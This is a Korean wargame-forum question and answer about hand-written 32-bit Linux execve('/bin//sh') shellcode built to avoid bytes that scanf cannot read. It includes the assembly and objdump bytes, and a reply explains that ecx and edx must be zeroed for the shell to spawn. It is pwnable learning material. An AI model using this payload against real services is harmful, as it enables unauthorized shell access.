완료됨
인터넷에서 쓰이는 scanf 우회 쉘코드를 써서 깨긴 깼습니다만.....

scanf 함수에서 읽지 못하는 \x09, \x0a, \x0b, \x0c, \x0d, \x20를 제외한 쉘코드를 직접 만들었는데 막상 쓸려고 하면 자꾸 에러가 납니다.
쉘코드를 로컬에서 실행하면 정상작동하는데 익스플로잇 코드에 넣고 돌리기만하면 자꾸 이렇네요..... 어느 부분이 잘못 되었는지 확인 부탁드리겠습니다.

<쉘 어셈블리 코드>
12번째, 13번째 줄은 기계어로 뽑을 때 0x0b가 나오지 않도록 만든 줄입니다.

     1  section .text
     2  global _start
     3  _start:
     4          xor eax, eax
     5          push eax
     6          mov eax, 0x68732f2f
     7          push eax
     8          mov eax, 0x6e69622f
     9          push eax
    10          mov ebx, esp
    11          xor eax, eax
    12          mov al, 0x30
    13          sub al, 0x25
    14          int 0x80
    15
    16          mov al, 0x1
    17          int 0x80

<objdump로 뽑은 기계어>

shell:     file format elf32-i386


Disassembly of section .text:

08049000 <_start>:
 8049000:       31 c0                   xor    %eax,%eax
 8049002:       50                      push   %eax
 8049003:       b8 2f 2f 73 68          mov    $0x68732f2f,%eax
 8049008:       50                      push   %eax
 8049009:       b8 2f 62 69 6e          mov    $0x6e69622f,%eax
 804900e:       50                      push   %eax
 804900f:       89 e3                   mov    %esp,%ebx
 8049011:       31 c0                   xor    %eax,%eax
 8049013:       b0 30                   mov    $0x30,%al
 8049015:       2c 25                   sub    $0x25,%al
 8049017:       cd 80                   int    $0x80
 8049019:       b0 01                   mov    $0x1,%al
 804901b:       cd 80                   int    $0x80

<익스플로잇 코드>

<실행 결과>

#pwnable
작성자 정보
더 깊이 있는 답변이 필요할 때
드림핵 팀과 멘토에게 직접 문의해 보세요!
답변 1
kimht__
강의 수강: 1

int 0x80으로 execve 호출 시 ecx(argv)와 edx(envp)가 0이어야 우리가 원하는 쉘을 얻을 수 있습니다.
아마 원격 서버 상에서 execve 호출 시 ecx나 edx 레지스터 값이 0이 아니었을 가능성이 높습니다.
쉘코딩을 추가적으로 해서 ecx와 edx도 0으로 만들어주면 될 것 같네요

2022.07.24. 16:12